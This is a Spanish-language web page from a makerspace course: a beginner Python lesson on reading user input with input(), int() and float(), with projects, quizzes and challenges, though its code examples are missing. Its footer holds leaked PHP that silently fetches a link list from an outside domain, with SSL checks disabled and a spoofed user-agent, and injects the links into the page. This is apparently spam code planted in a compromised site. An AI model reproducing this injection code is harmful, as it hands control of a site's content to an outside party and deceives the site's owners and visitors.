Be Maker

Loading...

Be Maker

Curso de Invierno Python – Arduino

LECCIÓN 02 – Entrada de Datos en Python

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 ¡Bienvenido a la segunda lección de tu aventura en la programación!

💡 Hasta ahora, hemos aprendido a mostrar mensajes en pantalla con print(), pero… ¿Qué pasa si queremos que el usuario nos responda En esta lección aprenderemos a hacer que Python «escuche» lo que escribimos y lo use en nuestros programas.

🚀 2.1 Entrada de Datos en Python: Textos

💡 Las computadoras pueden «leer» lo que escribimos con el comando input(), pero siempre lo guardan como texto.

29

🛸 Proyecto 1: ¿Cuál es tu Nombre?

 📌 ¿Qué pasó?

🛠️ Desafío 1: Demuestra lo Aprendido

Escribe un programa para que pregunte el nombre y la ciudad del usuario y lo muestre de la siguiente manera:

Hola [nombre], ¿Qué tal está el clima en [ciudad]?

💻 Resultado:

🚀 2.2 Entrada de Datos en Python: Números>

💡 Cuando el usuario ingresa datos, Python los trata como texto. Si queremos que el usuario ingrese un número, necesitamos convertir su respuesta con int() o float().

🧪 Experimento: ¿5+2=52?

🔬 Explicación:

Ups! Si ingresamos 5 y 2, Python mostrará 52 en lugar de 7. Esto se debe a que el comando input() siempre devuelve texto. Para convertirlo en número usamos int().

🛸 Proyecto 2: Año de Nacimiento

 📌 ¿Qué pasó?

Usamos int(input()) para convertir lo que el usuario escribe en un número. Sin int(), Python trataría los números como texto y no podríamos hacer operaciones matemáticas.

🛸 Proyecto 3: Masa Corporal

 📌 ¿Qué pasó?

Usamos float(input()) para convertir lo que el usuario escribe en un número decimal. Nos adelantamos un poco utilizando la función round(), lo que hace es agarrar el número decimal que está en imc y convertirlo a 2 decimales para guardar ese nuevo número en imc.

🛠️ Desafío 2: Demuestra lo Aprendido

Eres una calculadora que responde preguntas matemáticas. Un amigo te hará preguntas como: "Si tengo 3 manzanas y compro 6 más, ¿Cuántas tengo?" y debes responder usando código Python.

💻 Resultado:

🎯 Resumen de la Lección 02

⚔️¡Estamos listos, a construir!⚔️

💰Recompensa: 20 bCoins y 10 Gemas de Experiencia por cada reto resuelto💰

📝 Responde en tu Cuaderno 

🔥 Pregunta 01: Verdadero o Falso

1️⃣ input() se usa para salir del programa.

2️⃣ int("tres") convierte "tres" en 3.

3️⃣ Los datos ingresados con input() siempre son texto.

🔥 Reto 02: Matemáticas en la Vida Real

1️⃣ Lanza un dado y anota el número que salga.
2️⃣ Multiplica ese número por 2.
3️⃣ Súmale 5.
4️⃣ Multiplica el resultado por 3.
5️⃣ Resta 15 y divide entre 6.
🛟 Puedes usar una calculadora si lo deseas 😅.

🎯 Si hiciste bien los cálculos, ¡deberías haber obtenido el número con el que empezaste!

🔥 Pregunta 03: Pregunta

1️⃣ ¿Qué pasaría si escribes el código: print("Ja"*5)?

💻 Programa en tu Computadora

🔥 Reto 01:

Crea un programa que le pida el nombre al usuario y le diga ¡Hola, [nombre]! Soy tu robot amigo.

💻 Resultado:

🔥 Reto 02:

Escribir un programa que pregunte la edad del usuario y muestre cuántas velas pondrá en su pastel de cumpleaños.

💻 Resultado:

🔥 Reto 03:

Pide al usuario que ingrese la edad de su perro y convierte ese número a "años humanos" multiplicándolo por 7.

💻 Resultado:

🔥 Reto 04:

El usuario ingresa el precio de un producto y la cantidad que quiere comprar. Calcula el total a pagar (utilizar float para el precio del producto).

💻 Resultado:

🔥 Reto 05:

Pide al usuario la cantidad de segundos que quiere que el robot avance y calcula la distancia que recorrerá si su velocidad es de 3 cm por segundo.

💻 Resultado:

💀 Reto Extra: Solo para los más intrépidos y osados.

💰Recompensa Adicional: 50 bCoins y 15 Gemas de Experiencia💰

Pide al usuario que ingrese la capacidad de una batería en mAh y cuántos mAh consume un dispositivo por hora. Calcula cuántas horas durará la batería. Por ejemplo:
– La placa Arduino consume unos 100 mAh
– Las baterías 18650 tienen una carga de 1200 mAh

💻 Resultado:

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }